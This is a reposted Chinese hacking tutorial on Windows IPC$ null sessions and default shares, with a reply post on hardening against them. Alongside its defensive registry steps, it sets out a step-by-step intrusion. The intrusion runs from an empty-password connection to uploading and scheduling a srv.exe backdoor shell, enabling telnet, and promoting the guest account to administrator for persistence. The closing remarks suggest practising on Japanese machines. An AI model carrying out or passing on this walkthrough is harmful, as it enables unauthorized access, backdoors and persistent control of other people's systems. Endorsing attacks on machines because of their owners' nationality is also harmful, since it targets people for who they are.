菜鳥必看IPC空連線的使用(轉載)

ljm0211發表於2012-07-02
一 嘮叨一下:
網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少).
因此我寫了這篇相當於解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回復!

二 什麼是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這麼說的),它是為了讓程式間通訊而開放的命名管道,可以透過驗證使用者名稱和密碼獲得相應的許可權,在遠端管理計算機和檢視計算機的共享資源時使用。
利用IPC$,連線者甚至可以與目標主機建立一個空的連線而無需使用者名稱與密碼(當然,對方機器必須開了ipc$共享,否則你是連線不上的),而利用這個空的連線,連線者還可以得到目標主機上的使用者列表(不過負責的管理員會禁止匯出使用者列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠端管理而開放的遠端網路登陸功能,而且還開啟了預設共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$,訪問共享資源,匯出使用者列表,並使用一些字典工具,進行密碼探測,寄希望於獲得更高的許可權,從而達到不可告人的目的.

解惑:
1)IPC連線是Windows NT及以上系統中特有的遠端網路登陸功能,其功能相當於Unix中的Telnet,由於IPC$功能需要用到Windows NT中的很多DLL函式,所以不能在Windows 9.x中執行。
也就是說只有nt/2000/xp才可以建立ipc$連線,98/me是不能建立ipc$連線的(但有些朋友說在98下能建立空的連線,不知道是真是假,不過現在都2003年了,建議98的同志換一下系統吧,98不爽的)
2)即使是空連線也不是100%都能建立成功,如果對方關閉了ipc$共享,你仍然無法建立連線
3)並不是說建立了ipc$連線就可以檢視對方的使用者列表,因為管理員可以禁止匯出使用者列表

三 建立ipc$連線在hack攻擊中的作用
就像上面所說的,即使你建立了一個空的連線,你也可以獲得不少的資訊(而這些資訊往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個具有一定權 限的使用者身份登陸的話,那麼你就會得到相應的許可權,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結為獲取目標資訊、管理目標程式和服務,上傳木馬並執行,如果是2000server,還可以考慮開啟終端服務方便控制.怎麼樣?夠厲害吧!)
不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的:(
因此今後你最大的可能就是以極小的許可權甚至是沒有許可權進行連線,你會慢慢的發現ipc$連線並不是萬能的,甚至在主機不開啟ipc$共享時,你根本就無法連線.
所以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連線在hack入侵中的意義所在.

四 ipc$與空連線,139,445埠,預設共享的關係
以上四者的關係可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)

1)ipc$與空連線:
不需要使用者名稱與密碼的ipc$連線即為空連線,一旦你以某個使用者或管理員的身份登陸(即以特定的使用者名稱和密碼進行ipc$連線),自然就不能叫做空連線了.
許多人可能要問了,既然可以空連線,那我以後就空連線好了,為什麼還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連線登陸時,你沒有任 何許可權(很鬱悶吧),而你以使用者或管理員的身份登陸時,你就會有相應的許可權(有許可權誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
2)ipc$與139,445埠:
ipc$連線可以實現遠端登陸及對預設共享的訪問;而139埠的開啟表示netbios協議的應用,我們可以透過139,445(win2000)埠實現對共享檔案/印表機的訪問,因此一般來講,ipc$連線是需要139或445埠來支援的.
3)ipc$與預設共享
預設共享是為了方便管理員遠端管理而預設開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們透過ipc$連線可以實現對這些預設共享的訪問(前提是對方沒有關閉這些預設共享)

五 ipc$連線失敗的原因
以下5個原因是比較常見的:
1)你的系統不是NT或以上作業系統;
2)對方沒有開啟ipc$預設共享
3)對方未開啟139或445埠(惑被防火牆遮蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)使用者名稱或密碼錯誤(空連線當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問 : 很可能你使用的使用者不是管理員許可權的,先提升許可權;
錯誤號51,Windows 無法找到網路路徑 : 網路有問題;
錯誤號53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集衝突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的使用者名稱或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登入,但是網路登入服務沒有啟動 : 目標NetLogon服務未啟動。(連線域控會出現此情況)
錯誤號2242,此使用者的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。
關於ipc$連不上的問題比較複雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗了.

六 如何開啟目標的IPC$(此段引自相關文章)
首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴充套件、telnet、木馬,當然,這shell必須是admin許可權的,然後你可以 使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請確認相關服務都已執行,沒有就啟動它(不知道怎麼做的請看net命令的用法), 還是不行的話(比如有防火牆,殺不了)建議放棄。

七 如何防範ipc$入侵
1禁止空連線進行列舉(此操作並不能阻止空連線的建立,引自《解剖win2000下的空會話》)
首先執行regedit,找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ LSA]把RestrictAnonymous = DWORD的鍵值改為:00000001(如果設定為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)

2禁止預設共享
1)察看本地共享資源
執行-cmd-輸入net share
2)刪除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)
3)停止server服務
net stop server /y (重新啟動後server服務會重新開啟)
4)修改登錄檔
執行-regedit
server 版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建(右擊-新建-雙位元組值)一個主健再改鍵值。

3永久關閉ipc$和預設共享依賴的服務:lanmanserver即server服務
控制皮膚-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動型別-已禁用

4安裝防火牆(選中相關設定),或者埠過濾(濾掉139,445等),或者用新版本的最佳化大師

5設定複雜密碼,防止透過ipc$窮舉密碼

(本教程不定期更新,欲獲得最新版本,請登陸官方網站:菜菜鳥社群原創)


八 相關命令
1)建立空連線:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)

2)建立非空連線:
net use \\IP\ipc$ "使用者名稱" /user:"密碼" (同樣有3個空格)

3)對映預設共享:
net use z: \\IP\c$ "密碼" /user:"使用者名稱" (即可將對方的c盤對映為自己的z盤,其他盤類推)
如果已經和目標建立了ipc$,則可以直接用IP+磁碟機代號+$訪問,具體命令 net use z: \\IP\c$

4)刪除一個ipc$連線
net use \\IP\ipc$ /del

5)刪除共享對映
net use c: /del 刪除對映的c盤,其他盤類推
net use * /del 刪除全部,會有提示要求按y確認


九 經典入侵模式
這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
這是用《流光》掃到的使用者名稱是administrators,密碼為"空"的IP地址(空口令?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的 命令來與127.0.0.1建立一個連線,因為密碼為"空",所以第一個引號處就不用輸入,後面一個雙引號裡的是使用者名稱,輸入 administrators,命令即可成功完成。

2. C:\>copy srv.exe \\127.0.0.1\admin$
先複製srv.exe上去,在流光的Tools目錄下就有(這裡的$是指admin使用者的c:\winnt\system32\,大家還可以使用c$、d$,意思是C盤與D盤,這看你要複製到什麼地方去了)。

3. C:\>net time \\127.0.0.1
查查時間,發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00,命令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧(這裡設定的時間要比主機時間快,不然你怎麼啟動啊,呵呵!)

5. C:\>net time \\127.0.0.1
再查查到時間沒有?如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05,那就準備開始下面的命令。

6. C:\>telnet 127.0.0.1 99
這裡會用到Telnet命令吧,注意埠是99。Telnet預設的是23埠,但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。
雖然我們可以Telnet上去了,但是SRV是一次性的,下次登入還要再啟用!所以我們打算建立一個Telnet服務!這就要用到ntlm了

7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。

8. C:\WINNT\system32>ntlm
輸入ntlm啟動(這裡的C:\WINNT\system32>指的是對方計算機,執行ntlm其實是讓這個程式在對方計算機上執行)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務!

9. Telnet 127.0.0.1,接著輸入使用者名稱與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)

為了以防萬一,我們再把guest啟用加到管理組
10. C:\>net user guest /active:yes
將對方的Guest使用者啟用

11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼

12. C:\>net localgroup administrators guest /add
將Guest變為Administrator^_^(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這臺計算機)


十 總結:
關於ipc入侵就說這麼多了,覺得已經夠詳細了,如果有不準確的地方,希望能與大家討論.
最後,希望大家不要隨便入侵,我寫這篇文章的目的是想解答大家的疑惑,並不是鼓勵大家隨便的入侵,如果你非想試一下,建議拿小日本的機子開練(什麼?為什麼?因為我討厭日本,沒別的)
ip地址已設定保密
2006-6-27 1:07:18
引用回覆這個貼子 回覆這個貼子
婦聯主任的QQ空間
婦聯主任
帥哥喲,離線,有人找我嗎?
等級:管理員
威望:10000
文章:1103
積分:60026
門派:無門無派
註冊:2005年12月27日
第 2 樓
點選這裡傳送電子郵件給婦聯主任
發貼心情

怎樣防止別人用ipc$空連線和預設共享入侵

空連線和ipc$(internet process connection)是不同的概念。空連線是在沒有信任的情況下與伺服器建立的會話,換句話說,它是一個到伺服器的匿名訪問。ipc$是為了讓程式間通 信而開放的命名管道,可以透過驗證使用者名稱和密碼獲得相應的許可權。有許多的工具必須用到ipc$。預設共享是為了方便遠端管理而開放的共享,包含了所有的邏 輯盤(c$,d$,e$......)和系統目錄winnt或windows(admin$)。

A、一種辦法是把ipc$和預設共享都刪除了。但重起後還會有。這就需要改登錄檔。


1,先把已有的刪除
net share ipc$ /del
net share admin$ /del
net share c$ /del
............(有幾個刪幾個)


2,禁止建立空連線
首先執行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA]把RestrictAnonymous(DWORD)的鍵值改為:00000001。


3,禁止自動開啟預設共享
對於server版,找到如下主鍵 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters] 把AutoShareServer(DWORD)的鍵值改為:00000000。
對於pro版,則是[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建一個再改鍵值。


B、另一種是關閉ipc$和預設共享依賴的服務(不推薦)
net stop lanmanserver
可能會有提示說,XXX服務也會關閉是否繼續。因為還有些次要的服務依賴於lanmanserver。一般情況按y繼續就可以了。


C、最簡單的辦法是設定複雜密碼,防止透過ipc$窮舉密碼。但如果你有其他漏洞,ipc$將為進一步入侵提供方便。


D、還有一個辦法就是裝防火牆,或者埠過濾

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/11411056/viewspace-734411/,如需轉載,請註明出處,否則將追究法律責任。

相關文章